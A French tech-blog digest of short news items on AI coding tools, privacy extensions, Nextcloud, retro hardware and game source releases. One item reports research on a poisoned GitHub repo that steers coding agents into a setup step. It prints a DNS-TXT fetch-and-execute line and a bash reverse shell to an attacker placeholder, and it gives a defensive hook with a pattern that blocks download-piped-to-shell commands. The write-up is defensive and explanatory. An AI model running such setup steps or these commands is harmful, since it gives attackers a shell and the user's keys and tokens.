Amis linuxiens, je viens vous quérir d'une charmante nouvelle qui va faire frisoter votre barbe. Anthropic vient de sortir son application Claude Desktop pour Linux, et cette fois c'est une beta officielle, qui plus est, installable directement depuis un dépôt apt maison. Vous y retrouvez donc les mêmes onglets Chat, Cowork et Code que sur macOS et Windows : sessions parallèles , revue visuelle des diffs, terminal et éditeur intégrés, et preview de l'app en direct.
C'est le même Claude Code que d'habitude, mais dans une vraie fenêtre de bureau au lieu de votre terminal.
Pour l'installer, il vous faudra Ubuntu 22.04 ou plus récent, ou Debian 12 ou plus, en x86_64 ou arm64. Vous ajoutez la clé de signature et le dépôt d'Anthropic, et vous laissez apt bosser :
sudo curl -fsSLo /usr/share/keyrings/claude-desktop-archive-keyring.asc https://downloads.claude.ai/claude-desktop/key.asc
echo "deb [arch=amd64,arm64 signed-by=/usr/share/keyrings/claude-desktop-archive-keyring.asc] https://downloads.claude.ai/claude-desktop/apt/stable stable main" | sudo tee /etc/apt/sources.list.d/claude-desktop.list
sudo apt update && sudo apt install claude-desktop
Et voilà !
L'intérêt de passer par le dépôt plutôt que par un fichier, c'est que les mises à jour arrivent avec vos apt upgrade habituels, sans rien re-télécharger à la main.
Y'a bien un .deb à récupérer sur
claude.com/download
si vous ne pouvez pas utiliser le dépôt, mais celui-là ne se mettra jamais à jour tout seul.
Alors cette news pourrait vous étonner mais jusqu'ici, pour avoir Claude Desktop sur Linux, fallait passer par des projets communautaires pas toujours très bien maintenus. Le plus costaud et le plus connu, c'était
aaddrick/claude-desktop-debian
qui pourtant n'était pas magique puisqu'il téléchargeait l'installeur Windows, en extrayait l'app Electron (le fameux app.asar), virait les modules natifs Windows-only pour les remplacer par des stubs Linux, recompilait node-pty, patchait les verrous de plateforme et repackageait tout ça en .deb.
Vous faisiez donc tourner le JavaScript prévu pour Windows, avec une bonne dose de bricolage et bizarrement ça marchait bien. Mais bon ça restait un repack par-dessus un binaire qui n'était pas conçu pour le manchot...
Toutefois, une beta restant une beta, le Computer Use (le contrôle de votre écran et de vos applis) n'est pas dispo ni la dictée vocale. Faudra passer par le CLI pour ça.
Et surtout, Anthropic ne couvre pour le moment que les distributions basées sur Debian. Pas de Fedora, RHEL, Arch ou Nix, alors que le projet communautaire balançait des .rpm, des AppImage, un paquet AUR et un flake Nix. Snif...
Donc oui, l'app officielle débarque, mais elle boite un peu. Maintenant, j'sais pas vous mais je préfère quand même largement le CLI Claude Code à cette app et elle a le mérite de très bien fonctionner sur bien plus de distributions.
En attendant, si vous êtes sur Debian ou Ubuntu, l'install prend deux minutes et la doc complète est par ici .
PS : Et au moment où je finalise cet article, je vois qu' Anthropic a sorti Claude Science qui promet d'accompagner la recherche scientifique... Je vous laisse aller voir ça, moi je crois que j'ai assez parlé d'eux pour auj. ^^
Les amis, il faut que je vous parle de GLM 5.2 . Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles !
GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en Mixture-of-Experts (MoE), dont à peu près 40 milliards qui s'activent pour chaque token, ainsi qu'une fenêtre de contexte qui monte à 1 million de tokens via la déclinaison glm-5.2[1m]. Le tout publié, comme toujours, sous licence MIT, avec les poids téléchargeables sur HuggingFace.
Bref, j'y croyais pas trop, mais j'ai quand même pris le petit abonnement Z.ai et j'ai lancé mes outils habituels et codé quelques nouvelles features sur mes logiciels. Et Ô surprise, il s'en sort très très bien pour mes usages (je dis bien pour mes usages !). J'ai eu aucun bug, pas de discussion à l'infini qui tourne autour du pot, ni de fin de conversation qui part en caractères chinois comme me faisait souvent Qwen.
Après, le truc chouette, c'est que je l'ai branché directement dans Claude Code. Si ça vous intéresse, je me suis fait un petit launcher spécifique. C'est cadeau :
#!/usr/bin/env bash
export ANTHROPIC_BASE_URL="https://api.z.ai/api/anthropic"
export ANTHROPIC_AUTH_TOKEN=VOTRE_CLE_API
export ANTHROPIC_DEFAULT_SONNET_MODEL="glm-5.2[1m]"
export ANTHROPIC_DEFAULT_OPUS_MODEL="glm-5.2[1m]"
export CLAUDE_CODE_AUTO_COMPACT_WINDOW="1000000"
claude "$@"
Vous le sauvegardez sous le nom de votre choix, par exemple "glm". Puis vous faites un :
chmod +x glm
Et ensuite vous le lancez comme ceci :
./glm
L'idée, c'est que comme l'API de Z.ai est compatible Anthropic, il suffit de pointer Claude Code vers leur endpoint, de glisser votre clé, et il cause à GLM 5.2 comme il causerait à Claude. Mes skills, mes scripts, tout marche pareil, c'est le feu !
Je regrette juste une chose, c'est de ne pas pouvoir le faire tourner en local chez moi. Parce que le bestiau, il est TROP gros. Même raboté et quantifié en 2-bit pour la maison , il vous bouffe dans les 240 Go de RAM. Chez moi, j'ai pas le matos, et vous probablement pas non plus. Donc pour le moment, l'API, c'est la seule porte d'entrée réaliste et abordable.
Que ce soit Qwen, Llama, Kimi, DeepSeek, peu importe ce que j'ai testé en local, pour mes usages un peu chiadés, à chaque fois je suis super déçu. Alors celui-là, pour ce que je lui demande, il tient très bien la route.
Maintenant, je vais pas vous vendre ça non plus comme un Claude Killer mais j'ai quand même trouvé un benchmark qui confirme mon ressenti. Sur le leaderboard Arena.ai dédié au code front-end, GLM 5.2 pointe à la deuxième place, juste derrière Fable 5. Et comme tout ce qui le précède est propriétaire, ça en fait le premier modèle open weights à ce niveau du classement.
Donc c'est pas la meilleure IA du monde, hein, mais c'est la première open source qui me donne un résultat qui me convient. Et vous savez tous à quel point je suis chiant et exigeant avec ce genre d'outil. En tout cas, c'est la première fois que je me dis que l'IA open source pourrait vraiment entrer dans mon flux du quotidien, et pas juste rester un joujou pour classer des trucs ou faire du slop sur des blogs de SEO. Maintenant, entre nous, j'attends surtout que Fable 5, ou son équivalent, revienne mettre le feu !!
Si ça vous tente d'essayer, il y a donc le GLM Coding Plan de Z.ai, qui démarre à 18 dollars par mois et qui est surtout taillé pour le code. Il se branche sur Claude Code, Cline et une vingtaine d'outils du même acabit. Petit conseil au passage, ce lien vers le Plan GLM est un lien affilié certes, mais il vous offre 10 % de réduc si vous l'utilisez, et ça me file un petit truc aussi, donc tout le monde y gagne.
Voilà, si vous codez avec autre chose jusqu'ici, ça vaut le coup d'y jeter un œil par curiosité.
Source : Z.ai
Vous avez une petite carte graphique, un vieux Mac ou juste un bon processeur, et vous cherchez LE modèle d'IA parfait qui pourra tourner en local sans que ça rame ?
Hugging Face vient d'ajouter le filtre qui manquait à sa page Models : un sélecteur de matériel qui ne vous proposera que les modèles réellement compatibles avec votre machine.
Vous renseignez votre config (une RTX 3060, un processeur AMD, une puce Apple Silicon M2…) dans les réglages de votre compte, et le catalogue ne gardera plus que ce qui passe pour un GPU, un CPU ou une puce Apple précis.
Fini l'époque, donc, où il fallait ouvrir chaque fiche, chercher la VRAM requise, sortir la calculette et croiser les doigts au moment du lancement.
Ce filtre d'Hugging Face repose sur la taille des fichiers proposés, notamment les versions quantifiées au format GGUF, ces modèles compressés qui font tourner de grosses IA sur des machines modestes, et sur la RAM ou la VRAM de votre config déclarée. Cette base hardware est constituée de ce que possède réellement la communauté des 300 000 membres qui ont accepté de déclarer leur matériel.
Une fois le bon modèle repéré, vous récupérez les commandes via le bouton "Use this model" présent sur chaque fiche, puis vous lancez tout ça avec les outils habituels de l'IA locale, du genre llama.cpp, Ollama ou LM Studio. Et pour ceux qui veulent aller plus loin sur Apple Silicon, il existe également des serveurs d'inférence maison pour remplacer l'API d'OpenAI par votre propre Mac .
Maintenant, si vous avez un chip un peu exotique, un accélérateur NPU ou une carte à peine sortie, il faudra parfois patienter, voire passer par le forum pour réclamer son ajout dans la base, mais bon, je chipote !
Anthony Sgro vient d'open-sourcer un truc que tout utilisateur de VPN devrait avoir sous la main. C'est extension pour Safari, Chrome et Firefox (et pas Faille-Fox, déso) qui s'appelle GeoSpoof et qui part d'un constat tout bête que la plupart des gens ignorent.
En fait, votre VPN change masque bien votre adresse IP réelle (s'il est bien configuré, hein), d'accord, super, mais votre navigateur, lui, continue tranquillement de tout balancer aux sites web et notamment le lieu où vous vous trouvez vraiment.
Venez pas chez moi, c'est pas mon adresse...
Et il a mille façons de le faire. Y'a d'abord l'API de géolocalisation qui balance vos coordonnées GPS si vous l'autorisez, mais surtout y'a tout le reste, beaucoup plus sournois comme votre fuseau horaire, par exemple. Vous êtes connecté à un serveur VPN à New York mais votre navigateur répond Europe/Paris quand un script lui demande l'heure, et hop, le site comprend en une milliseconde que vous bluffez. Pareil avec l'objet Intl.DateTimeFormat, avec le Date du système, avec WebRTC qui adore fuiter votre vraie IP locale.
Vous pouvez avoir le meilleur VPN du monde, si ces signaux-là pointent tous vers chez vous pendant que votre IP dit le contraire, et vous êtes encore plus repérable qu'un mec sans VPN. C'est exactement ce qu'un VPN ne fait pas tout seul et c'est pour ça que votre abonnement à Youtube Premium, Netflix, ou Disney+ à 30 centimes acheté en Turquie ou je ne sais où, fini par se faire flagger.
GeoSpoof colmate donc ce trou en venant rebrancher directement ces APIs dans le navigateur sur du contenu factice. L'extension s'injecte au tout début du chargement de la page, avant que le JavaScript du site ait eu le temps de tourner et ensuite quand un script demande votre position, votre heure ou votre fuseau, il reçoit la localisation que VOUS avez choisie, et tout est cohérent. Géoloc, timezone, dates, WebRTC, tout raconte la même histoire et y'a plus de signal contradictoire qui dépasse.
Le mode que je trouve le plus pratique, dans GeoSpoof c'est surtout la synchro VPN automatique. L'extension repère l'IP de sortie de votre VPN, et elle aligne toute seule votre localisation navigateur dessus. Si vous changez de serveur, et que vous passez de Tokyo à Montréal, hé bien elle resynchronise sans que vous n'ayez à toucher à quoi que ce soit.
Sinon vous pouvez aussi y aller à la main, chercher une ville précise ou taper vos coordonnées directement. Pour vérifier que ça marche vraiment, l'auteur a même monté une page de test sur geospoof.com/verify , et l'extension passe les outils classiques de fingerprinting comme CreepJS ou BrowserLeaks.
Petit détail qui prouve le soin du travail, les overrides sont déguisés pour répondre [native code] quand un script essaie de vérifier s'ils ont été trafiqués. Héhé, malin !
Là où Anthony Sgro est honnête, c'est qu'il ne vous vend pas l'invisibilité totale. C'est écrit dans la doc que GeoSpoof ne change PAS votre IP. Sans un VPN derrière, votre adresse continue donc de pointer vers chez vous, et le bénéfice restera limité face aux sites qui recoupent l'IP.
Ça ne bypasse pas non plus la détection côté serveur, votre historique de compte ou votre moyen de paiement vous trahiront toujours. Et le mode le plus agressif, qui passe par le protocole de debug de Chrome pour verrouiller le fuseau jusque dans les workers, reste détectable par les outils qui cherchent spécifiquement ce genre de bidouille. C'est juste un outil de cohérence à utiliser en complément du meilleur VPN auquel vous vous êtes abonnés ^^.
Ça tourne sur Firefox, Chrome, Brave, Edge et même Safari sur iOS et macOS via l'App Store. Tout est sous licence MIT, et y'a pas de tracking ni de collecte de données dedans. C'est rare de voir des extension d'une si bonne qualité de finition, encore bravo à Anthony !!
Puis si vous bidouillez déjà votre vie privée avec un truc comme Fingerprint Defender , GeoSpoof complètera le tableau parfaitement sur la partie localisation.
Bref, un VPN sans ça, c'est une porte blindée avec une fenêtre grande ouverte à côté. Allez jeter un œil, ça prend 2 min à installer !
Cursor , le célèbre IDE de vibe coding, vient de sortir une app iOS qui permet de piloter des agents IA codant à votre place, directement depuis un smartphone.
Je ne parle donc pas d'écrire du code sur un écran de six pouces, hein, mais bien de lancer une tâche, de la confier à un agent qui bosse tout seul dans le cloud, et de garder un œil dessus pendant que vous êtes dans le métro ou affalé dans le canapé.
Vous lancez l'app, vous tapez ce que vous voulez faire, et un agent part bosser dans sa VM avec son environnement de dev complet. Et vous pouvez comme ça en lancer plusieurs en même temps et suivre leur avancement, même sur l'écran verrouillé sur smartphone. Quand il se retrouve bloqué, l'agent IA vous envoie une notif et quand c'est fini, vous n'avez plus qu'à relire les diffs, à passer en revue les captures écran, à consulter les logs et merger la pull request directement depuis le téléphone.
Je vous laisse avec Benjamin qui va vous expliquer ça (roooh, ça va, j'rigole) :
Y'a aussi un mode "remote control" comme ce qu'on retrouve chez Claude Code , qui récupère un agent déjà lancé sur votre ordi, afin de pouvoir continuer à le piloter à distance. Moi j'utilise souvent ce genre de trucs quand je dois m'absenter pour faire une course, afin de ne pas perdre de temps.
On est, en quelques mois, passé d'un monde où le dev tapait religieusement chaque ligne à un monde où il décrit une "intention" et supervise des agents qui exécutent le taf. Et le clavier devient presque accessoire, surtout avec des outils comme VoxDrop .
L'app est en beta publique, réservée aux plans payants, et pour l'instant c'est iOS uniquement, et Cursor lance aussi une promo de 75% sur les runs Composer 2.5 dans l'app jusqu'au 5 juillet, histoire de vous faire tester tout ça tranquillement.
L'app est dispo sur l' App Store si vous voulez faire du dev depuis vos toilettes.
Si vous avez déjà branché un stockage externe sur votre
Nextcloud
et regardé occ files:scan ramper en mode larve durant des plombes lors d'une indexation, vous connaissez le coupable.
C'est évidemment un dossier node_modules qui contient des dizaines de milliers de tout petits fichiers, qui se fait indexer dans la base de Nextcloud, faisant tout ramer jusqu'à l'infini (ou presque...).
Heureusement, Marc Palaus a repris le vieux plugin files_excludedirs (lancé à l'origine par Roeland Jago Douma, puis passé de fork en fork) et l'a remis d'aplomb pour Nextcloud 32 à 34. Le taf de ce plugin c'est tout simplement d'ordonner à Nextcloud d'ignorer purement et simplement les dossiers que vous lui indiquez.
Donc si vous lui donnez ce pattern, il esquivera tout ce qui correspond :
occ config:app:set files_excludedirs exclude \
--value '[".snapshot","node_modules","cache/*/tmp"]'
Un tableau JSON, un pattern par entrée, et vous pouvez glisser des wildcards comme cache/*/tmp pour taper plusieurs sous-dossiers d'un coup.
Ensuite, pour voir ce qui tourne, occ config:app:get files_excludedirs exclude. Ou si vous préférez cliquer, l'app propose aussi un menu Exclude Directories dans les réglages admin, avec un bouton Preview Changes pour voir ce que vous allez virer avant de valider.
Pour les fichiers qui n'ont pas encore été indexés, c'est nickel donc. Mais pour ceux qui sont déjà dans la base, cette exclusion les rendra inaccessibles mais ils seront toujours là à traîner dans les résultats de recherche.
Alors pour les dégager pour de bon, voici quelle ligne de commande vous devez lancer :
occ files_excludedirs:clean-cache --dry-run
J'ai mis un dry-run en paramètre, parce que ça permet de faire tourner ça à blanc sur quelques résultats, sans flinger la mauvaise arborescence. Mais une fois que vous êtes chaud patate et sûr de vous, vous devrez relancer la même commande sans le --dry-run.
Notez que si vous montez par exemple un partage genre "Shared/Holiday" directement à la racine d'un utilisateur, vos fichiers ont un chemin du style photo.jpg, et pas Shared/Holiday/photo.jpg. C'est le chemin complet qu'il faudra viser donc...
En tout cas, j'ai été surprise d'apprendre qu'exclure des dossiers du scan, c'est une demande qui traîne sur le tracker Nextcloud depuis l' issue #6888 publiée en 2017... Ça existait pourtant côté ownCloud. Dommage quoi.
Pour installer ce plugin, vous récupérez l'archive sur la page Releases, vous décompressez dans nextcloud/apps, vous activez depuis l'admin. Ou alors un petit git clone + un composer install pour la version source et le tour est joué !
Et si la lourdeur de Nextcloud vous gonfle plus globalement, il y a des alternatives plus légères comme OpenCloud .
Un développeur du nom de Niv Singer a eu l'idée improbable de brancher quatre vieux disques durs en guise d'enceintes, puis de leur faire cracher Second Reality, cette production que le groupe finlandais Future Crew a sortie en 1993 et qui reste, plus de trente ans après, l'une des plus vénérées de toute l'histoire du PC, avec une musique extraordinaire (que j'ai écoutée des millions de fois).
[Embed: https://hackaday.com/2026/06/29/hard-drive-speakers-crank-out-classic-demo/]
Pour ceux qui n'ont jamais croisé ce terme (ou pas dans le bon sens), une démo, dans ce milieu qu'on appelle la demoscene, c'est un programme conçu pour faire produire à une machine des effets graphiques et sonores qu'on la croyait pourtant incapable de sortir, le tout calé au millimètre sur la musique. Second Reality a remporté l'Assembly 1993, la grande compétition du genre, le 30 juillet de cette année-là, et a longtemps tenu lieu de démonstration ultime de ce qu'un PC de l'époque avait réellement dans le ventre.
Le principe que Niv Singer exploite ici est en réalité tout simple, presque bête. Dans un disque dur, une bobine déplace la tête de lecture au-dessus des plateaux qui tournent, exactement comme la bobine d'un haut-parleur fait bouger sa membrane pour brasser l'air. En envoyant un signal audio dans cette bobine plutôt que les commandes de positionnement habituelles, la tête se met à vibrer et produit donc du son.
Sauf que voilà, l'intéressé ne cache pas vraiment les limites de la chose. Le rendement est mauvais, le volume reste famélique et la réponse en fréquence, pour reprendre ses propres mots, est franchement catastrophique. Un disque dur n'a jamais été pensé pour faire de la musique, et ça s'entend.
D'où l'astuce, qui consiste à ne surtout pas se contenter d'un seul disque. Il en a empilé quatre, des Western Digital Caviar de 500 Go chacun, répartis à raison de deux par canal stéréo, la gauche et la droite. Sur chaque canal, un filtre répartiteur, ce fameux crossover qui découpe le son entre les différentes fréquences, confie les graves à un disque et les aigus à l'autre, histoire que chacun bosse dans la plage où il se débrouille le moins mal.
Et il ne s'arrête pas là, puisque les plateaux des disques se mettent en plus à tourner en rythme avec la musique. Pour obtenir ça, il pilote finement leur vitesse avec du PWM, une technique qui consiste à hacher l'alimentation électrique très vite pour doser pile l'énergie envoyée au moteur. Le résultat tient autant du concert bricolé que de l'installation lumineuse de salon.
Tout le projet, baptisé Spin Doctor, est posé sur GitHub, schémas et code compris, pour quiconque voudrait reproduire l'expérience avec ses propres rebuts informatiques.
Faire rejouer la démo la plus mythique du PC par le matériel qu'on balance d'habitude à la déchèterie, perso j'adore.
Source : Hackaday
Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.
Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !
Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.
Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.
Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.
Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :
cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"
En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.
À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.
C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.
L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.
Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.
Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :
#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi
Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :
{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}
À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.
Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.
Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.
Il y a 25 ans, le studio tchèque Bohemia Interactive sortait Operation Flashpoint : Cold War Crisis, un shooter tactique qui a marqué toute une génération de joueurs PC.
Eh bien, pour l'anniversaire du jeu, ils n'ont pas fait les choses à moitié puisqu'un remaster est en route, une démo gratuite est dispo sur Steam , et surtout, ils ouvrent le code source du moteur. Tout ça d'un coup et c'est trop cool !
Le dépôt est public sur GitHub , sous le nom BohemiaInteractive/CWR et dedans, vous trouverez le moteur ET le code du jeu, le tout modernisé en C++20, compilé avec CMake et Clang, et compatible Windows x64 comme Linux x64. La démo Steam, elle, vous pose directement dans la sandbox open-world d'origine, avec les véhicules, l'IA et le système de missions. Enfin, un asset-pack est fourni pour que vous bricoliez vos propres mods.
Le moteur s'appelle Poseidon et détail rigolo, c'était le nom interne du projet en 1999, avant que le jeu ne devienne Operation Flashpoint et le moteur Real Virtuality. Et si vous vous demandez pourquoi le titre a fini renommé Arma : Cold War Assault en 2011, c'est à cause d'un litige sur la marque avec Codemasters, l'éditeur d'origine.
Attention quand même aux licences puisque Bohemia ouvre le code, mais les marques "ARMA", "Operation Flashpoint" et les logos restent chez leurs détenteurs respectifs (la marque "ARMA" appartient bien à Bohemia, mais "Operation Flashpoint" n'est pas à eux). En clair, si vous voulez forker le projet, vous devez le renommer et surtout pas le vendre comme un produit officiel Bohemia. Logique, mais autant le savoir avant !
Operation Flashpoint c'est LE jeu qui a lancé toute la franchise Arma, devenue une référence du "simulationnisme" militaire sur PC, avec une communauté de moddeurs énorme dans son sillage. Libérer le code d'un jeu culte, c'est très rare (id Software l'avait fait avec Doom , sans oublier ce bon vieux Commander Keen ), et ça donne à la communauté de quoi préserver et faire vivre le jeu pour les 25 prochaines années !
La version complète du remaster, elle, n'a pas encore de date officielle et Bohemia parle juste d'un "plus tard".
Bref, si vous voulez trifouiller le moteur d'un classique, le code est sur Github et la démo gratuite sur Steam .
Je vous parlais de ces écrans e-ink hier qui sont capables de se rafraichir beaucoup plus rapidement que les écrans tout pâle de nos liseuses. Et v'la ti pas que je tombe sur ce projet de Wenting Channel où le gars a décidé de faire tourner un Pokemon Bleu en 60 fps sur un écran e-ink.
Avant j'aurais pensé que c'était impossible mais avec un M5Stack PapierS3 qui est un petit kit de dev à base d'ESP32-S3 et d'un écran e-ink tactile de 4,7 pouces en 960×540, il est parvenu !
Maintenant, si vous voulez tester chez vous, le firmware est dispo directement via M5 Burner, l'outil de flashage de M5Stack. Vous flashez, vous chargez une ROM, et hop, vous avez une Game Boy dans la poche qui se lit même en plein cagnard.
Pour bien comprendre l'exploit, il faut comprendre comment fonctionne ce type d'écran à encre électronique. Les écrans e-ink sont lents par nature et chaque "pixel" qui le compose prend plusieurs centaines de millisecondes à se rafraichir grâce à des séquences de tensions (les waveforms) qui viennent modifier son état. Sauf que l'écran du PaperS3 dispose d'une interface parallèle ligne/colonne qui permet de piloter la dalle en contournant la méthode waveform classique
Wenting attaque donc les pixels directement, en pipeline, ce qui rend possible un rafraîchissement allant jusqu'à 60-70 FPS. Et surtout sur la GameBoy, il n'a pas besoin de traiter tout l'écran car c'est du 160×144 pixels, et il ne faut que trois pixels pour représenter les quatre nuances de gris d'origine. En triplant l'image tramée, il obtient alors un agrandissement pixel-perfect ×3 tout en ne calculant qu'une fraction de la dalle.
Pour l'émulation elle-même, il n'a pas réinventé la roue. Faire émuler une Game Boy par un microcontrôleur, ça a été fait mille fois. Il s'st contenté de tester les émulateurs PeanutGB, WanaCGB et Crankboy et a gardé ce dernier qui est le plus rapide. La Game Boy Color, par contre, on oublie puisque son CPU tourne deux fois plus vite et le PaperS3 n'a pas les reins pour ça.
Concernant le son, une Game Boy crache quatre canaux audio, deux ondes carrées, un canal d'échantillons et un canal de bruit. Le PaperS3, lui, n'a qu'un buzzer, capable de pondre une seule note à la fois. Game over ? Pas du tout. Wenting a simplement repris la même technique qu'on utilisait sur les vieux PC sans carte son grâce aux canaux de la carte pour simuler une polyphonie.
Ensuite, les contrôles c'est du joypad tactile à l'écran et il a même ajouté le support des manettes bluetooth (encore bien bien expérimental). Sans oublier la sauvegarde rapide qui fige l'état de la console à l'extinction, pour reprendre le jeu là où vous en étiez par la suite.
Notez aussi que le PaperS3 est déjà en fin de vie, remplacé par le PaperColor sorti en mai mais j'imagine que Wenting fera une upgrade à un moment... on verra bien.
Si le hacking de microcontrôleurs rétro vous parle, jetez un œil à cette mini-borne d'arcade qui tourne aussi sur ESP32 , ou à GB Recompiled qui traduit vos ROMs Game Boy en C natif .
Source : PC Gamer